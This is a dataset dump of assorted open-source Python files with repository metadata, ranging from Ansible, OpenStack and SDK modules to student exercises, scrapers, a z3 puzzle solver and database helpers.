] | permissive | juancarlosdiaztorres/Ansible-OpenStack | e98aa8c1c59b0c0040c05df292964520dd796f71 | c01951b33e278de9e769c2d0609c0be61d2cb26b | refs/heads/master | 2022-11-21T18:08:21.948330 | 2018-10-15T11:39:20 | 2018-10-15T11:39:20 | 152,568,204 | 0 | 3 | null | 2022-11-19T17:38:49 | 2018-10-11T09:45:48 | Python | UTF-8 | Python | false | false | 11,706 | py | # Copyright 2013 Cloudbase Solutions Srl
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless r... | [
"jcdiaztorres96@gmail.com"
] | jcdiaztorres96@gmail.com |
f336163c832e83b5aa7902bfe710b5ea8f341c54 | b0dba78f914bc4e7df1f47a2046aa561ac062b38 | /plugins/modules/docker_swarm_service.py | 402d021276ffb3c003b5b5d1ea344aa119d18d92 | [] | no_license | ansible-collection-migration/ansible.docker | 99fd84ce9fecea92dd2d34561d4c4ddb13eb747d | 5c70e695f6530db190e9b8acfc0734645e995023 | refs/heads/master | 2020-12-18T13:03:47.509337 | 2020-02-03T22:04:21 | 2020-02-03T22:04:21 | 235,393,420 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 114,917 | py | #!/usr/bin/python
#
# (c) 2017, Dario Zanzico (git@dariozanzico.com)
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import absolute_import, division, print_function
__metaclass__ = type
ANSIBLE_METADATA = {'status': ['preview'],
'suppor... | [
"ansible_migration@example.com"
] | ansible_migration@example.com |
233b58cc8ec14717a7eded5dc8530b1dd3963151 | 57015f325c4a6e6a1d9caa8017bec699534add89 | /manage.py | 55d8edd89bfae3bc45e8a6ba5fb414002108f232 | [] | no_license | mrCrendel/mathPlatform | 102d4e2e77f86767b864f8d2c51cea832d329a67 | 71c9836a3ba3568d1724dd22ba205a68da0b303e | refs/heads/master | 2022-12-11T18:54:16.673128 | 2019-05-29T08:59:48 | 2019-05-29T08:59:48 | 164,434,667 | 1 | 0 | null | 2022-12-08T01:31:26 | 2019-01-07T13:11:39 | Python | UTF-8 | Python | false | false | 803 | py | #!/usr/bin/env python
import os
import sys
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "main.settings")
try:
from django.core.management import execute_from_command_line
except ImportError:
# The above import may fail for some other reason. Ensure that the
... | [
"tggrmi@gmail.com"
] | tggrmi@gmail.com |
1b28388d43d79927c593345369aaff21be5e2c47 | e42a61b7be7ec3412e5cea0ffe9f6e9f34d4bf8d | /a10sdk/core/ip/ip_icmp.py | 9ec100fc34769d0cca39154c5c8b6c6ed6d95f6a | [
"Apache-2.0"
] | permissive | amwelch/a10sdk-python | 4179565afdc76cdec3601c2715a79479b3225aef | 3e6d88c65bd1a2bf63917d14be58d782e06814e6 | refs/heads/master | 2021-01-20T23:17:07.270210 | 2015-08-13T17:53:23 | 2015-08-13T17:53:23 | 40,673,499 | 0 | 0 | null | 2015-08-13T17:51:35 | 2015-08-13T17:51:34 | null | UTF-8 | Python | false | false | 1,324 | py | from a10sdk.common.A10BaseClass import A10BaseClass
class Icmp(A10BaseClass):
"""Class Description::
Global ICMP commands.
Class icmp supports CRUD Operations and inherits from `common/A10BaseClass`.
This class is the `"PARENT"` class for this module.`
:param redirect: {"default": 0, "optio... | [
"doug@parksidesoftware.com"
] | doug@parksidesoftware.com |
46c1886b93a34a4b113316303c5714cb0e9d4d1c | 53fab060fa262e5d5026e0807d93c75fb81e67b9 | /backup/user_227/ch1_2020_02_19_16_21_44_020022.py | e5081bf0f20d4a009e15377fcc85ed3a272a1aae | [] | no_license | gabriellaec/desoft-analise-exercicios | b77c6999424c5ce7e44086a12589a0ad43d6adca | 01940ab0897aa6005764fc220b900e4d6161d36b | refs/heads/main | 2023-01-31T17:19:42.050628 | 2020-12-16T05:21:31 | 2020-12-16T05:21:31 | 306,735,108 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 121 | py | valor_emprestado=1000
número_de_meses=n
taxa_de_juros=p
def calcula_valor_devido(x):
return(1000*(1+p/100)**n)
| [
"you@example.com"
] | you@example.com |
5791274612d36ef7de83cebdb6b9751c866ec024 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p02766/s613074727.py | 00af51735e70569124b299a53c526a5752ed4bba | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 133 | py | # -*- coding: utf-8 -*-
N, K = map(int, input().split())
cnt = 1
val = N
while val >= K:
val = val / K
cnt += 1
print(cnt) | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
4bba75c884cb40c22689024cad6bba1f9c4fb372 | 6fa7f99d3d3d9b177ef01ebf9a9da4982813b7d4 | /Yj2Rew5XQYpu7Nosq_1.py | e3d66cdac7b7444c74fffe9643a6abcf489437f1 | [] | no_license | daniel-reich/ubiquitous-fiesta | 26e80f0082f8589e51d359ce7953117a3da7d38c | 9af2700dbe59284f5697e612491499841a6c126f | refs/heads/master | 2023-04-05T06:40:37.328213 | 2021-04-06T20:17:44 | 2021-04-06T20:17:44 | 355,318,759 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 38 | py |
def frames(m, f): return m * 60 * f
| [
"daniel.reich@danielreichs-MacBook-Pro.local"
] | daniel.reich@danielreichs-MacBook-Pro.local |
a19a6d1bc801453f9efbe4370f96fce675f643ac | f2b27ea4b474916e5b7cf1f55901cf6e01b6ee3c | /11-pandas-foundations/03-time-series-in-pandas/13-plotting-date-ranges-partial-indexing.py | 2d074556b65a567e7fcf45c33133400fe5e75bfb | [] | no_license | ariscon/DataCamp_Files | a21f1265b6ad5aed04d9724be78b08634f81312e | f7e496391b1d4649bf1186b9a1c9b83fa9a50044 | refs/heads/master | 2020-04-13T04:27:01.650215 | 2018-12-30T22:51:43 | 2018-12-30T22:51:43 | 162,962,035 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,408 | py | '''
Plotting date ranges, partial indexing
Now that you have set the DatetimeIndex in your DataFrame, you have a much more powerful and flexible set of tools to use when plotting your time series data. Of these, one of the most convenient is partial string indexing and slicing. In this exercise, we've pre-loaded a ful... | [
"noreply@github.com"
] | ariscon.noreply@github.com |
d744266ee331e398adc9f16523fdeeb430e472ad | 69b04aac327cbf5870d34257a907f66395883b29 | /OOP/Opps-Basics/obj1.py | d542e758ac60ea8648232f70240f77aa9dce5754 | [] | no_license | narasimhareddyprostack/python-Aug-7PM | 120cc50df1b5de8b1ad76c5db385280c2fecacb7 | 46a8dedb870c501bc0bf7f57ec8b63b750b361a5 | refs/heads/master | 2022-12-21T08:09:39.191983 | 2020-10-02T23:50:06 | 2020-10-02T23:50:06 | 283,739,708 | 1 | 4 | null | null | null | null | UTF-8 | Python | false | false | 86 | py | class Test:
''' This Sample Test class'''
a = Test()
# a is object
print(id(a)) | [
"narasimhareddyk18@gmail.com"
] | narasimhareddyk18@gmail.com |
fe0556464c58c8ce49aa1b156b99a7cbae2d0f86 | b08d42933ac06045905d7c005ca9c114ed3aecc0 | /src/coefSubset/evaluate/ranks/fivePercent/rank_2c0l_Q.py | 2a7b24d978390adfe394b8aa0ab5b523160b8a39 | [] | no_license | TanemuraKiyoto/PPI-native-detection-via-LR | d148d53f5eb60a4dda5318b371a3048e3f662725 | 897e7188b0da94e87126a4acc0c9a6ff44a64574 | refs/heads/master | 2022-12-05T11:59:01.014309 | 2020-08-10T00:41:17 | 2020-08-10T00:41:17 | 225,272,083 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,389 | py | # 9 July 2019
# Kiyoto Aramis Tanemura
# Several metrics are used to assess the performance of the trained RF model, notably native ranking. This script returns a ranking of the native protein-protein complex among a decoy set. For convenience, I will define as a function and will call in a general performance assess... | [
"tanemur1@msu.edu"
] | tanemur1@msu.edu |
8d23ae557bcae2447e00ff93d0fb133bbbfa7c22 | 3a784e3d612cfc58d73eb017b2f1b068a570d55c | /z3/set_partition.py | 06ff12cfc7c5f82099e73c8f80817d3a506ece99 | [] | no_license | DialloMamadou/PPC | 23f527671007952b0b7707716a367aa47b709842 | 03e508a2b2f3314fbb40eab345506b62fcb8e1da | refs/heads/master | 2020-05-23T15:06:43.588228 | 2019-05-05T19:33:09 | 2019-05-05T19:33:09 | 186,819,656 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,190 | py | #!/usr/bin/python -u
# -*- coding: latin-1 -*-
#
# Set partition problem in Z3
#
# Problem formulation from
# http://www.koalog.com/resources/samples/PartitionProblem.java.html
# '''
# This is a partition problem.
# Given the set S = {1, 2, ..., n},
# it consists in finding two sets A and B such that:
# A U B = S,
... | [
"hakank@gmail.com"
] | hakank@gmail.com |
63aeee266d9dd44c8e8ef284446c793d60e11f83 | 46b5c1bc98678f02cbd39b6c814e6b32908a6c22 | /venv/bin/csvpy | 0ee09822f3b4cb50efb5f23c7319a9053e8992c0 | [] | no_license | Peter-32/portofvirginiaapp | ea0aceedce6efe928f4c128fb4935f000048678f | e0cfdd379d9654d41b301a52bcd6d77aa08d4591 | refs/heads/master | 2022-11-07T15:13:51.111003 | 2019-07-24T05:15:57 | 2019-07-24T05:15:57 | 198,562,849 | 0 | 1 | null | 2022-10-08T03:46:30 | 2019-07-24T05:13:23 | Python | UTF-8 | Python | false | false | 302 | #!/Users/petermyers/Desktop/Code/test_pyinstaller2/venv/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from csvkit.utilities.csvpy import launch_new_instance
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(launch_new_instance())
| [
"peter@impactradius.com"
] | peter@impactradius.com | |
a6e4abb99213c8542b878acda28bb142736d074d | f62fd455e593a7ad203a5c268e23129473d968b6 | /senlin-3.0.1/senlin/tests/tempest/functional/test_cluster_scaling.py | 6a10c7a076e17ca95ba2ea2c679720430c01088d | [
"Apache-2.0"
] | permissive | MinbinGong/OpenStack-Ocata | 5d17bcd47a46d48ff9e71e2055f667836174242f | 8b7650128cfd2fdf5d6c8bc4613ac2e396fb2fb3 | refs/heads/master | 2021-06-23T05:24:37.799927 | 2017-08-14T04:33:05 | 2017-08-14T04:33:05 | 99,709,985 | 0 | 2 | null | 2020-07-22T22:06:22 | 2017-08-08T15:48:44 | Python | UTF-8 | Python | false | false | 9,742 | py | # Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under t... | [
"gongwayne@hotmail.com"
] | gongwayne@hotmail.com |
89980836c321a62c4c1576b2387ed4e5191fa29d | 7e2975464e4175db41a5465f7c0dbc4c705828fd | /test_platform/project_app/models.py | dfa396abeeecf3ac8a0ce93b234de7bc8fb34e9c | [] | no_license | yudu4908/test_dev02 | bc3d504c5203a83cc00a00b5b54ae2a00e1accf5 | 60f554b4e19c7b617f437197ba201e3bdb94913f | refs/heads/master | 2022-01-15T05:54:59.853178 | 2019-07-09T01:41:07 | 2019-07-09T01:41:07 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 451 | py | from django.db import models
# Create your models here.
class Project(models.Model):
"""
项目表
"""
name = models.CharField("名称", max_length=50, null=False)
describe = models.TextField("描述", default="")
status = models.BooleanField("状态", default=1)
update_time = models.DateTimeField(auto_now=... | [
"fnngj@126.com"
] | fnngj@126.com |
f360f2bf25d08ba9a82ce34919a856843542ca32 | d71661f3799085894074609fa506d509fada34d4 | /pbase/day06/code/com.py | 1fc3cd474f76febea229cf1e4b632eeb61753706 | [] | no_license | vincentlyc/Learn-Path | fb84320610902dece007fb7d67038b751808f60a | 4208312b60c44876307c8770d96a35cc3d087c75 | refs/heads/master | 2020-03-24T18:49:39.424312 | 2018-08-09T14:41:59 | 2018-08-09T14:41:59 | 142,900,080 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 253 | py | # x // f[1] + x // f[2] + ... + x // f[n] = x
# n = int(input("請輸入整數:"))
L = []
for n in range(1,10) :
for x in range(1, n) :
if n % x == 0 :
L.append(x)
continue
if sum(L) == n :
print(L)
else :
print("該數不是完全數") | [
"vincent11028@gmail.com"
] | vincent11028@gmail.com |
bc1e19c44e36fa194d901c16c0e360a0c1331dee | 250b997d715c168315a927e28124cf24c77048c0 | /python3基础/2.Python修炼第二层/day2练习题.py | 7cf6de4deae78be38adbe5c7ce0d9fc62fc5b436 | [] | no_license | cuitianfeng/Python | c78077e5dcad01ee5fe44c0aa8b61bbc2fa388cf | 9c9f10f13311116ce0bc60ec128f765ff2ca3078 | refs/heads/master | 2023-01-10T23:25:57.158141 | 2020-11-17T15:39:36 | 2020-11-17T15:39:36 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,363 | py |
# 字符串练习题
# 写代码,有如下变量,请按照要求实现每个功能 (共6分,每小题各0.5分)
# name = " aleX"
# 1) 移除 name 变量对应的值两边的空格,并输出处理结果
# print(name.strip())
# 2) 判断 name 变量对应的值是否以 "al" 开头,并输出结果
# print(name.startswith('al'))
# 3) 判断 name 变量对应的值是否以 "X" 结尾,并输出结果
# print(name.endswith('X'))
# 4) 将 name 变量对应的值中的 “l” 替换为 “p”,并输出结果
# p... | [
"zhang.hongyang@mydreamplus.com"
] | zhang.hongyang@mydreamplus.com |
d250062c2d4904ca066c060773deb1499139907a | 9bdeff1aa041e7e173b76294e2140f32a0dcbf33 | /django_rest_api/urls.py | c988990e21697c49bc25d572944b46bcabe3c600 | [] | no_license | think-station/django_rest_api | 84f1ea785c3d3e901f09eac88ea826765b3095fe | 2c5bc117fd12efe9d076d0235c8c7287c0f8d86d | refs/heads/master | 2021-05-07T01:51:10.545079 | 2016-08-19T08:42:21 | 2016-08-19T08:42:21 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,404 | py | """django_rest_api URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.9/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
C... | [
"uiandwe@gmail.com"
] | uiandwe@gmail.com |
f8a0f4e6445508afa720f4bef4f5e7fde25f74d1 | c8bedbf18c02fdfa5d195837493fb6232ab364af | /task 1/21.py | 6c7ba9a02667fe5116c9de0ea141b984f0ebbe9a | [] | no_license | DiasDogalakov/ICT_2020 | 143a3edfe1124d7539f8e7160c68306a405acb2f | 410f4a1c52129ce0c6dc6c7a76134f9a85fe3d1b | refs/heads/master | 2023-02-05T07:51:27.535568 | 2020-12-25T10:29:11 | 2020-12-25T10:29:11 | 296,055,624 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 161 | py | BASE = int(input("Base: "))
HEIGHT = int(input("Height: "))
print("Area: " + str(BASE * HEIGHT / 2))
print("BASE: " + str(BASE))
print("Height: " + str(HEIGHT))
| [
"noreply@github.com"
] | DiasDogalakov.noreply@github.com |
280d35c92bc36605f383a86966728c6c8503a40a | 45972ccfe3ef8200306429e4a8d4f7a782ffd6ff | /api/tests/test_upcs.py | cbcd6f8f532f1f3181386ee3ec61e13a6c6ec51a | [
"MIT"
] | permissive | CMU-Robotics-Club/roboticsclub.org | 24e8311ec6bc3c893dfcb91c5296079948237894 | 5f2ad4a15dc62160c6d03c87c121e934cacb8228 | refs/heads/master | 2021-01-17T08:07:55.356117 | 2018-09-09T05:38:44 | 2018-09-09T05:38:44 | 23,710,962 | 0 | 2 | MIT | 2018-09-09T05:38:45 | 2014-09-05T16:57:37 | Python | UTF-8 | Python | false | false | 1,125 | py | from rest_framework import status
from .authenticated_api_test_case import AuthenticatedAPITestCase
from upcs.format_upc import format_upc
from upcs.remote_lookup import remote_lookup
class UPCTests(AuthenticatedAPITestCase):
def run_upc_test(self, upc):
response = self.client.get("/api/upcs/?upc={}".format(upc... | [
"brentstrysko@brentstrysko.com"
] | brentstrysko@brentstrysko.com |
9743deaa6a88a1f27259cbe5e1dde4c3388b976f | ce8bb40bf2b688f19ab8bcc20cfd58994413bc0f | /permission二级菜单/rbac/migrations/0007_auto_20181031_0844.py | f954d2f8af6817a75f565035792c6e67f06b1787 | [] | no_license | Fover21/project1 | 457f452d7f6e7ecbfc81a18512377ebc5457f3f6 | 84d596caf5701d7d76eee8c50f61bcb6150c57f2 | refs/heads/master | 2020-03-24T20:01:51.506348 | 2018-12-26T06:07:45 | 2018-12-26T06:07:45 | 142,955,917 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 484 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.11 on 2018-10-31 08:44
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('rbac', '0006_permission_name'),
]
operations = [
migrations.AlterField(
... | [
"850781645@qq.com"
] | 850781645@qq.com |
cbf630502033d2a5a9877e55c5a55fc8e16b1f52 | 99697559d046cdd04dd9068bd518e4da4177aaa2 | /Empty/H871_Minimum_Number_of_Refueling_Stops.py | 977cfb5a7be674afdd424d75f10f468a501adb2b | [] | no_license | Azurisky/Leetcode | 3e3621ef15f2774cfdfac8c3018e2e4701760c3b | 8fa215fb0d5b2e8f6a863756c874d0bdb2cffa04 | refs/heads/master | 2020-03-18T22:46:35.780864 | 2018-10-07T05:45:30 | 2018-10-07T05:45:30 | 135,364,168 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 213 | py | class Solution:
def minRefuelStops(self, target, startFuel, stations):
"""
:type target: int
:type startFuel: int
:type stations: List[List[int]]
:rtype: int
""" | [
"andrew0704us@gmail.com"
] | andrew0704us@gmail.com |
061e8c790ffc67e078b603040e308baa3a04e52e | 2626f6e6803c8c4341d01f57228a0fe117e3680b | /students/BrandonHenson/Lesson07/mailroom_model.py | 2384541b7dc3d2481850cc48406c36fa56c07fe1 | [] | no_license | kmsnyde/SP_Online_Course2_2018 | 9e59362da253cdec558e1c2f39221c174d6216f3 | 7fe8635b47d4792a8575e589797260ad0a2b027e | refs/heads/master | 2020-03-19T17:15:03.945523 | 2018-09-05T22:28:55 | 2018-09-05T22:28:55 | 136,750,231 | 0 | 0 | null | 2018-06-09T19:01:52 | 2018-06-09T19:01:51 | null | UTF-8 | Python | false | false | 1,050 | py | # -*- coding: utf-8 -*-
import logging
from peewee import *
from functools import partial
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)
logger.info('Program to build the classes from the model in the database')
logger.info('Here we define our data (the schema)')
logger.info('F... | [
"kmsnyder2@verizon.net"
] | kmsnyder2@verizon.net |
e023110db16411204d74854ffed940c57c5a03d2 | 62599abaa4979c94001c4752db3cad2df34f61b3 | /resource/pypi/cffi-1.9.1/testing/embedding/test_thread.py | f4feec68c3320ae109c365165011685a3fabd9ee | [
"MIT",
"Apache-2.0"
] | permissive | pythonxuexi8888/laserjet | 606a59bbe8d4be17964306ef1400d1cfaaec8336 | f53e0b740f48f2feb0c0bb285ec6728b313b4ccc | refs/heads/master | 2021-06-18T17:48:54.625656 | 2017-05-04T08:39:11 | 2017-05-04T08:39:11 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,702 | py | from testing.embedding.test_basic import EmbeddingTests
class TestThread(EmbeddingTests):
def test_first_calls_in_parallel(self):
add1_cffi = self.prepare_module('add1')
self.compile('thread1-test', [add1_cffi], threads=True)
for i in range(50):
output = self.execute('t... | [
"hipnus@hipnuss-MacBook-Pro.local"
] | hipnus@hipnuss-MacBook-Pro.local |
f8d264bfa1fb9cc28fa97436e73e0f442d14921e | c0c8bb30b1423397bf1f6b967bc294bf7c512339 | /Python_Workspace/example/Web Spider/requests/13-muti_threading_spider.py | 5504e123927aa15f262c2443061aa23ad94c494a | [] | no_license | lxconfig/BlockChainDemo | 8d5e0d38b6008149f677000c06f535271b36118e | 0267ef3cbc8c0e66f42f0b718769cce2cd94c576 | refs/heads/master | 2022-12-10T03:17:11.654430 | 2020-04-02T12:49:57 | 2020-04-02T12:49:57 | 219,700,549 | 14 | 0 | null | 2022-12-06T03:01:30 | 2019-11-05T08:59:44 | HTML | UTF-8 | Python | false | false | 4,708 | py | # -*- coding:utf-8 -*-
# time: 2019/03/18 15:28
# File: 13-muti_threading_spider.py
import datetime
import threading
import time
from queue import Queue
import requests
from lxml import etree
import json
start = datetime.datetime.now()
# 用来存放采集线程
g_crawl_list = []
# 用来存放解析线程
g_parse_list = []
class Cra... | [
"525868229@qq.com"
] | 525868229@qq.com |
4fa8b0da7a28472aabcdc61d266828fd787a1924 | 0c7d7b24a8d453fc1a9c2f27a08f3c4cfa46ec3b | /recipes/local_prior_match/librispeech/prepare_unpaired.py | a44141f5e7cf7c9a34aa9b629b24de7278328953 | [
"BSD-3-Clause",
"MIT"
] | permissive | piEYj/wav2letter | e6ae462eeeb6a4374f8280c8fa15d8f194c60215 | 49fbb1392e69b5194c077df9847505ec995b4e3d | refs/heads/main | 2023-09-06T01:08:48.837731 | 2021-11-12T14:13:41 | 2021-11-12T14:15:15 | 444,344,109 | 1 | 0 | NOASSERTION | 2022-01-04T08:37:19 | 2022-01-04T08:37:19 | null | UTF-8 | Python | false | false | 2,841 | py | """
Copyright (c) Facebook, Inc. and its affiliates.
All rights reserved.
This source code is licensed under the MIT-style license found in the
LICENSE file in the root directory of this source tree.
----------
Script to prepare unpaired data for training a model with local prior matching
Command : python3 prepare_... | [
"facebook-github-bot@users.noreply.github.com"
] | facebook-github-bot@users.noreply.github.com |
82398bedd4a4b46bfe1f3779dabd9d517022d2c7 | a20b3811c5b6428ba2eb9a2bd13045c537ce2f5b | /harness/determined/_swagger/client/models/v1_get_template_response.py | 3c2649618a7da85d899013c9a2e34fdbb2b5c606 | [
"Apache-2.0"
] | permissive | esimionato/determined | 8f3eeb3884f87baa2f51eca2dc5140a312e0f06f | 1f49553efccbcb60ab05d59e3e821b14c6670a4a | refs/heads/master | 2023-05-23T09:29:21.446760 | 2021-06-03T22:09:28 | 2021-06-03T22:09:28 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,854 | py | # coding: utf-8
"""
Determined API (Beta)
Determined helps deep learning teams train models more quickly, easily share GPU resources, and effectively collaborate. Determined allows deep learning engineers to focus on building and training models at scale, without needing to worry about DevOps or writing custo... | [
"noreply@github.com"
] | esimionato.noreply@github.com |
bf849b79312add874ee6014b46e1609b631788ee | a0124b79fedd700831daf9b8032199b6bb235208 | /LeetCode/Python/101-200/154.py | 00312701b3651a7439b6d55dfc73327eb6d34a7f | [] | no_license | letsgrowmore/Meta | ad4a2354132d6cf4e663d732ff939f3c75b32065 | ef05bd0bd2c526bf2bd52ca22a398af6c141fd2b | refs/heads/main | 2023-03-15T17:38:05.019524 | 2021-03-21T08:38:01 | 2021-03-21T08:38:01 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 349 | py | class Solution(object):
def findMin(self, nums):
l, r = 0, len(nums) - 1
while l < r and nums[l] >= nums[r]:
mid = (l + r) / 2
if nums[mid] > nums[r]:
l = mid + 1
elif nums[mid] < nums[l]:
r = mid
else:
l... | [
"thefenrislycaon@gmail.com"
] | thefenrislycaon@gmail.com |
af4786937b20d73c223428572d482d4759ffbb93 | 9ca0c6248b3a0904d6af8ea069ff0974a3a36498 | /sat_image.py | c479bdd4c07eb3485434c60a7cca506c729c74db | [] | no_license | CUrW-SL/ShapeFile | a85f1d9b604348ce9cf3209e1f86163131068697 | 7593d8634d7f59a088fce983bd253d550cc70fb5 | refs/heads/master | 2021-07-08T20:06:34.861316 | 2020-07-11T01:30:46 | 2020-07-11T01:30:46 | 149,579,460 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,271 | py | import ast
import datetime as dt
import logging
import os
import zipfile
import matplotlib
import numpy as np
from curw.rainfall.wrf.extraction import utils as ext_utils
from mpl_toolkits.basemap import cm
from curw.rainfall.wrf import utils
try:
lat_min = max(-4.0, -3.06107)
lon_min = max(60.0, 71.2166)
l... | [
"hasithadkr7@gmail.com"
] | hasithadkr7@gmail.com |
c30b10990d6346cf82138e02b530177d0e42847b | 0899b1708e33a54ea34197525e4c5bb08cb238dc | /Day 24/Example_5.py | 18dc82dae77b44c3118162ae41f546adca7ee3b7 | [] | no_license | anuragmukherjee2001/30-days-of-python | 510fb6511b36c91b11ef8230b6539f959e1b1f72 | 99bdd4b72f0566c9341fc5e58a159e44f0ac90bc | refs/heads/master | 2023-02-07T09:14:35.381064 | 2020-12-30T15:54:48 | 2020-12-30T15:54:48 | 319,247,567 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 258 | py | import numpy as np
python_tuple = (1, 2, 3, 4, 5)
print(type(python_tuple))
print('python_tuple: ', python_tuple)
numpy_array_from_tuple = np.array(python_tuple)
print(type(numpy_array_from_tuple))
print('numpy_array_from_tuple: ', numpy_array_from_tuple)
| [
"anuragmukherjee2001@gmail.com"
] | anuragmukherjee2001@gmail.com |
7a3eb57712734fd9ff40b8d353afc511a3cc06dc | 9b4b577c5b1fcd36b8eabaa8ed803a550af09ed7 | /os_utils/os_utilities.py | 66341a4803075f3905a59e83a648e31f44234fc6 | [
"BSD-3-Clause"
] | permissive | JoelRaymann/CheXpert-ChestXRay-Prediction | 0bfd0a776af2e9b8ef380461ba745b110a641ca8 | 538efd21142c68c8094f442fca36d9cba8a3c8de | refs/heads/master | 2022-01-23T08:58:56.064667 | 2019-06-07T05:24:42 | 2019-06-07T05:24:42 | 190,667,482 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 510 | py | import os
def make_directory(list_of_directories: list):
"""
Function to make all directories mentioned in the list of directories
Arguments:
list_of_directories {list} -- A list of all directories to make
"""
for directory in list_of_directories:
try:
os.make... | [
"joelraymann@gmail.com"
] | joelraymann@gmail.com |
e6374aa91492461e20d397ac051f55081586c001 | 96dcea595e7c16cec07b3f649afd65f3660a0bad | /tests/components/imap/conftest.py | 74176efab1111feff3c6bffe793404860d480967 | [
"Apache-2.0"
] | permissive | home-assistant/core | 3455eac2e9d925c92d30178643b1aaccf3a6484f | 80caeafcb5b6e2f9da192d0ea6dd1a5b8244b743 | refs/heads/dev | 2023-08-31T15:41:06.299469 | 2023-08-31T14:50:53 | 2023-08-31T14:50:53 | 12,888,993 | 35,501 | 20,617 | Apache-2.0 | 2023-09-14T21:50:15 | 2013-09-17T07:29:48 | Python | UTF-8 | Python | false | false | 3,569 | py | """Fixtures for imap tests."""
from collections.abc import Generator
from unittest.mock import AsyncMock, MagicMock, patch
from aioimaplib import AUTH, LOGOUT, NONAUTH, SELECTED, STARTED, Response
import pytest
from .const import EMPTY_SEARCH_RESPONSE, TEST_FETCH_RESPONSE_TEXT_PLAIN
@pytest.fixture
def mock_setup_... | [
"noreply@github.com"
] | home-assistant.noreply@github.com |
5b36b3037acce9f2274b10884091c4222e3f01e0 | a7a0db638e50b9f1da25093a0eb7805ef1e1af2f | /utils2/news.py | 748a494d2ee913d9c12735c45c94b1a359e35abc | [] | no_license | Cicadadenis/Bot_magaz | 2fd94bb4ab2d0f5f41b3ce7bf7484e311ed7c6c4 | bcdce1c146c1cf493e8a069c4f001d4c471f9fa8 | refs/heads/main | 2023-05-11T03:22:14.335877 | 2021-05-26T11:07:00 | 2021-05-26T11:07:00 | 366,662,115 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,212 | py | import requests
from bs4 import BeautifulSoup
def get_article():
bbc_request = requests.get('https://www.bbc.com/news')
soup = BeautifulSoup(bbc_request.text, "html.parser")
raw_article = soup.find_all('div', {'class': 'gs-c-promo-body gel-1/2@xs gel-1/1@m gs-u-mt@m'})[0].find_all(text=True, recursive=Tru... | [
"noreply@github.com"
] | Cicadadenis.noreply@github.com |
1b5f21f03dff5bd295bf3831df5244b9faff2669 | c305b9df6a405a329e1b3a311d9bd1a507f2bc04 | /codes/code.py | 2126ce4e645b1ab05de18e0e139d459065aecfa7 | [] | no_license | HenrickyL/fn_2020_1 | 70834b6d5b0c73f77ca910b0b53761e0477a2954 | dd30b5d49300459a62b00299d65309f09638d8fc | refs/heads/master | 2022-12-16T19:22:25.336341 | 2020-09-03T20:25:58 | 2020-09-03T20:25:58 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 127 | py | def boomBang(xs):
return [str(x) + ("boom" if x < 10 else "bang") for x in xs if x % 2 == 0]
print(boomBang(range(1, 20))) | [
"sena.ufc@gmail.com"
] | sena.ufc@gmail.com |
a9101438684b5f7ba3b9841858a3a31675eb384a | 3056736f013b25d1e70adb355082c578e5091314 | /ml_quality/datasets/shit/async_postgres.py | aa3b10e4a97ec91e19a75591ab5e55295fd4919c | [] | no_license | flerchy/codestyle-core | dcad1385b76678e4473f0804d2ecfaa03866d124 | a009bcd2f17dadd440ea5ff24bd3167e38948bff | refs/heads/master | 2021-01-20T03:21:16.694322 | 2017-06-05T05:52:35 | 2017-06-05T05:52:35 | 89,524,181 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 660 | py | from Queue import Queue
import threading
import psycopg2
from contextual_logger.writers.norm import INSERT
LOG_QUEUE = Queue()
def write(row):
LOG_QUEUE.put_nowait(row)
def writer_thread(database_config):
conn = psycopg2.connect(**database_config)
conn.autocommit = True
cur = conn.cursor()
whi... | [
"flerchy@gmail.com"
